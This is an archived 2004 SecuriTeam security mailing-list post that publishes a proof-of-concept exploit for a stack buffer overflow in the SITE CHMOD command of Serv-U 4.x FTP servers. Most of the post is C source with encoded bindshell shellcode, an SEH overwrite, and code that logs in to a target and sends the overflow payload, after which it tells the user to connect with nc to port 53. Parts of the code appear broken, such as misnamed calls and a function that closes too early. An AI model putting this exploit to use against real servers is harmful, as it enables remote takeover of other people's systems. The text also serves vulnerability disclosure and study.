

# [EXPL] Serv-U Ftp Site Chmod Long Filename Exploit

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-01/0082.html>

---

**From:** SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

**Date:** 01/28/04

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 28 Jan 2004 12:05:49 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Serv-U Ftp Site Chmod Long Filename Exploit

---

## SUMMARY

" <<http://www.serv-u.com>> Serv-U is a powerful, easy-to-use, award-winning FTP server created by Rob Beckers".

As was reported in our previous

<<http://www.securiteam.com/windowsntfocus/5OP0N1PBPG.html>> article, the product has a vulnerability which would allow a stack-based buffer overflow. Presented here is a proof-of-concept exploit.

## DETAILS

/\*

\* serv-u 4.2 site chmod long\_file\_name stack overflow exp

\* vul discovered by [kkqq@0x557.org](mailto:kkqq@0x557.org)

\* exp coded by [mslug@safechina.net](mailto:mslug@safechina.net)

\* Jan 25 2004

\*/

/\* test with serv-U 4.1.0.7, 4.1.0.11 on win2k sp4 en machine\*/

## Securiteam: [EXPL] Serv-U Ftp Site Chmod Long Filename Exploit

```
#include < winsock2.h>
#include < stdio.h>

#define CHMOD_CMD "SITE CHMOD 0666 "
#define ERR_HEADER "550 /"
#define SEH_STACK_POSITION 0x54
#define BUF_STACK_POSITION 0x1ec
#define PADDING_SIZE (BUF_STACK_POSITION - SEH_STACK_POSITION -
strlen(ERR_HEADER))

// bindshell shellcode from www.cnhonker.org
#define PORT 53
#define PORT_OFFSET 176

//0x0A code removed from shellcode
unsigned char bdshellcode[] =
// decode
"\xEB\x10\x5f\x4f\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0f\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
// shellcode
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x99\xAC\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";

//unsigned long jmp_esp = 0x77f4144b;
//unsigned long jmp_ebx = 0x77a5211b;
//unsigned long call_ebx = 0x750219d6; //use this one

unsigned char evil_chmod[5000];
unsigned char seh[] = "\xeb\x06\x90\x90" //jmp below
```

## Securiteam: [EXPL] Serv-U Ftp Site Chmod Long Filename Exploit

```
"\xd6\x19\x02\x75" //call_ebx = 0x750219d6
"\x33\xc0" //below: xor eax, eax
"\xb0\x1c" //mov al, 1c
"\x03\xd8" //add ebx, eax
"\xc6\x03\x90"; //mov byte ptr [ebx], 90
```

```
int main(int argc, char **argv)
{
    WSADATA wsa;
    unsigned short port;
    int ftpsock, ret;
    char recv_buf[1000];
    unsigned long ip;
    unsigned char buf[100];

    printf("*****\n");
    printf("* Serv-U 4.2 site chmod stack overflow exp*\n");
    printf("* Vul discovered by kkqq@0x557.org *\n");
    printf("* Coded by mslug@safechina.net *\n");
    printf("*****\n");
    printf("\n");

    if(argc < 6) {
        printf("serv.exe < host> < port> < user> < password> < path>\n");
        return 0;
    }

    WSStartup(MAKEWORD(2,2), &wsa);

    port = htons(PORT)^(USHORT)0x9999;
    memcpy(&bdshellcode[PORT_OFFSET], &port, 2);

    ftpsock = connect_tcp(argv[1], atoi(argv[2]));
    if(ftpsock < 0) {
        printf("[+] Connection refused\n");
        return 0;
    }
    ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);

    recv_buf[ret] = 0;
    printf("%s", recv_buf);

    sprintf(buf, "USER %s\r\n", argv[3]);
    send(ftpsock, buf, strlen(buf), 0);

    ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);

    recv_buf[ret] = 0;
    printf("%s", recv_buf);
}
```

## Securiteam: [EXPL] Serv-U Ftp Site Chmod Long Filename Exploit

```
printf(buf, "PASS %s\r\n", argv[4]);
send(ftpsock, buf, strlen(buf), 0);

ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
recv_buf[ret] = 0;
printf("%s", recv_buf);

sprintf(buf, "CWD %s\r\n", argv[5]);
send(ftpsock, buf, strlen(buf), 0);

ret = recv(ftpsock, recv_buf, sizeof(recv_buf), 0);
recv_buf[ret] = 0;
printf("%s", recv_buf);

memset(evil_chmod, 0x90, sizeof(evil_chmod));
memcpy(evil_chmod, CHMOD_CMD, strlen(CHMOD_CMD));
memcpy(&evil_chmod[strlen(CHMOD_CMD)+PADDING_SIZE], seh, strlen(seh));
memcpy(&evil_chmod[strlen(CHMOD_CMD)+PADDING_SIZE+strlen(seh)+20],
bdshellcode, strlen(bdshellcode));

send(ftpsock, evil_chmod, strlen(evil_chmod), 0);

printf("[+] Shellcode sent\n");
printf("[+] Now nc to port 53\n");

closesocket(ftpsock);
WSACleanup();

return 0;
}

int connect_tcp(char *host, int port)
{
    struct hostent *rhost;
    struct sockaddr_in sin_rhost;
    unsigned long ip_rhost;
    int sock;

    memset(&sin_rhost, 0, sizeof(sin_rhost));

    sin_rhost.sin_family = AF_INET;
    sin_rhost.sin_port = htons(port);
    ip_rhost = inet_addr(host);
    if(ip_rhost==INADDR_NONE) {
        rhost = gethostbyname(host);
        if(rhost==0) return -1;
        ip_rhost = *(unsigned long*)rhost->h_addr;
    }

    sin_rhost.sin_addr.s_addr = ip_rhost;
```

## Securiteam: [EXPL] Serv-U Ftp Site Chmod Long Filename Exploit

```
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sock < 0) {
    return -1;
}

if(connect(sock, (struct sockaddr*) &sin_rhost, sizeof(sin_rhost))) {
    return -1;
}

return sock;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:a1476854@hotmail.com>

Qianwei Hu

The original article can be found at:

<<http://www.securiteam.com/windowsntfocus/5OP0N1PBPG.html>>

<http://www.securiteam.com/windowsntfocus/5OP0N1PBPG.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.